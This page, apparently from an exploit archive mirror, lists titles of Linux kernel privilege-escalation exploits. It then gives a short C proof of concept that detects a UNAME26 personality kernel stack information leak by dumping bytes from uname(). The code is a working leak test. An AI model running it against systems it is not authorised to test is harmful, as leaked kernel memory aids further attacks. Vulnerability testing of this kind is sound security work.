2dba371921
4 new exploits Linux Kernel 2.4 / 2.6 x86-64 - System Call Emulation Exploit Linux Kernel 2.4 / 2.6 (x86_64) - System Call Emulation Exploit Linux Kernel 2.6.x (<= 2.6.20 / <= 2.6.24 / <= 2.6.27_7-10) (Ubuntu 7.04/8.04/8.10 / Fedora Core 10 / OpenSuse 11.1) - SCTP FWD Memory Corruption Remote Exploit Linux Kernel 2.6.x (<= 2.6.20 / <= 2.6.24 / <= 2.6.27_7-10) (Ubuntu 7.04/8.04/8.10 / Fedora Core 10 / OpenSuse 11.1) - SCTP FWD Memory Corruption Remote Exploit Linux Kernel <= 2.6.24_16-23 / <= 2.6.28.3 (Ubuntu 8.04/8.10 & Fedora Core 10) (x86-64) - set_selection() UTF-8 Off By One Local Exploit Linux Kernel <= 2.6.24_16-23 / <= 2.6.28.3 (Ubuntu 8.04/8.10 & Fedora Core 10 x86_64) - set_selection() UTF-8 Off By One Local Exploit Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6) - (32-bit) ip_append_data() ring0 Root Exploit Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - ip_append_data() ring0 Root Exploit Linux Kernel < 2.6.36-rc4-git2 - x86_64 ia32syscall Emulation Privilege Escalation Linux Kernel 2.6.27 < 2.6.36 (x86_64) (Redhat) - compat Local Root Exploit Linux Kernel < 2.6.36-rc4-git2 (x86_64) - ia32syscall Emulation Privilege Escalation Linux Kernel 2.6.27 < 2.6.36 (Redhat x86_64) - compat Local Root Exploit Linux Kernel < 2.6.34 CAP_SYS_ADMIN x86 & x64 (Ubuntu 11.10) - Local Privilege Escalation Exploit (2) Linux Kernel < 2.6.34 (Ubuntu 11.10 x86 & x64) - CAP_SYS_ADMIN Local Privilege Escalation Exploit (2) Linux Kernel 2.6.39 <= 3.2.2 (32-bit & 64-bit) (Gentoo / Ubuntu) - Mempodipper Local Root (1) Linux Kernel 2.6.39 <= 3.2.2 (Gentoo / Ubuntu x86/x64) - Mempodipper Local Root (1) Linux Kernel < 3.3.x - 3.7.x (Arch Linux x86-64) - sock_diag_handlers[] Local Root Linux Kernel < 3.3.x - 3.7.x (Arch Linux x86_64) - sock_diag_handlers[] Local Root Linux Kernel <= 3.7.10 (Ubuntu 12.10) (64-Bit) - sock_diag_handlers Local Root Exploit Linux Kernel <= 3.7.10 (Ubuntu 12.10 x64) - sock_diag_handlers Local Root Exploit Linux Kernel < 3.8.9 - x86_64 perf_swevent_init Local Root Exploit Linux Kernel < 3.8.9 (x86_64) - perf_swevent_init Local Root Exploit Linux Kernel <= 3.7.6 (Redhat) (32bit/64bit) - 'MSR' Driver Local Privilege Escalation Linux Kernel <= 3.7.6 (Redhat x86/x64) - 'MSR' Driver Local Privilege Escalation Systrace 1.x (64-Bit) - Aware Linux Kernel Privilege Escalation Vulnerability Systrace 1.x (x64) - Aware Linux Kernel Privilege Escalation Vulnerability Linux Kernel 2.6.x - (64 bit) Personality Handling Local Denial of Service Vulnerability Linux Kernel 2.6.x (x64) - Personality Handling Local Denial of Service Vulnerability Linux Kernel < 3.2.0-23 (Ubuntu 12.04) - ptrace/sysret Local Privilege Escalation Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - ptrace/sysret Local Privilege Escalation Linux Kernel 2.6.39 <= 3.2.2 (32-bit & 64-bit) - Mempodipper Local Root (2) Linux Kernel 2.6.39 <= 3.2.2 (x86/x64) - Mempodipper Local Root (2) Joomla SecurityCheck Extension 2.8.9 - Multiple Vulnerabilities Liferay CE < 6.2 CE GA6 - Stored XSS Relay Ajax Directory Manager relayb01-071706_ 1.5.1_ 1.5.3 - Unauthenticated File Upload Websockify (C Implementation) 0.8.0 - Buffer Overflow
70 lines
1.4 KiB
C
Executable file
70 lines
1.4 KiB
C
Executable file
/*
|
|
source: http://www.securityfocus.com/bid/55855/info
|
|
|
|
The Linux kernel is prone to a local information-disclosure vulnerability.
|
|
|
|
Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.
|
|
*/
|
|
|
|
/* Test for UNAME26 personality uname kernel stack leak.
|
|
* Copyright 2012, Kees Cook <keescook@chromium.org>
|
|
* License: GPLv3
|
|
*/
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <errno.h>
|
|
#include <unistd.h>
|
|
#include <sys/personality.h>
|
|
#include <sys/utsname.h>
|
|
|
|
#define UNAME26 0x0020000
|
|
|
|
int dump_uts(void)
|
|
{
|
|
int i, leaked = 0;
|
|
struct utsname buf = { };
|
|
|
|
if (uname(&buf)) {
|
|
perror("uname");
|
|
exit(1);
|
|
}
|
|
printf("%s\n", buf.release);
|
|
|
|
for (i = strlen(buf.release) + 1; i < sizeof(buf.release); i++) {
|
|
unsigned char c = (unsigned char)buf.release[i];
|
|
|
|
printf("%02x", c);
|
|
if (c)
|
|
leaked = 1;
|
|
}
|
|
printf("\n");
|
|
|
|
return leaked ? (i - (strlen(buf.release) + 1)) : 0;
|
|
}
|
|
|
|
int main(int ac, char **av)
|
|
{
|
|
int leaked;
|
|
|
|
leaked = dump_uts();
|
|
if (leaked) {
|
|
printf("Leaked %d bytes even without UNAME26!?\n", leaked);
|
|
return 1;
|
|
}
|
|
|
|
|
|
if (personality(PER_LINUX | UNAME26) < 0) {
|
|
perror("personality");
|
|
exit(1);
|
|
}
|
|
|
|
leaked = dump_uts();
|
|
if (leaked) {
|
|
printf("Leaked %d bytes!\n", leaked);
|
|
return 1;
|
|
} else {
|
|
printf("Seems safe.\n");
|
|
return 0;
|
|
}
|
|
}
|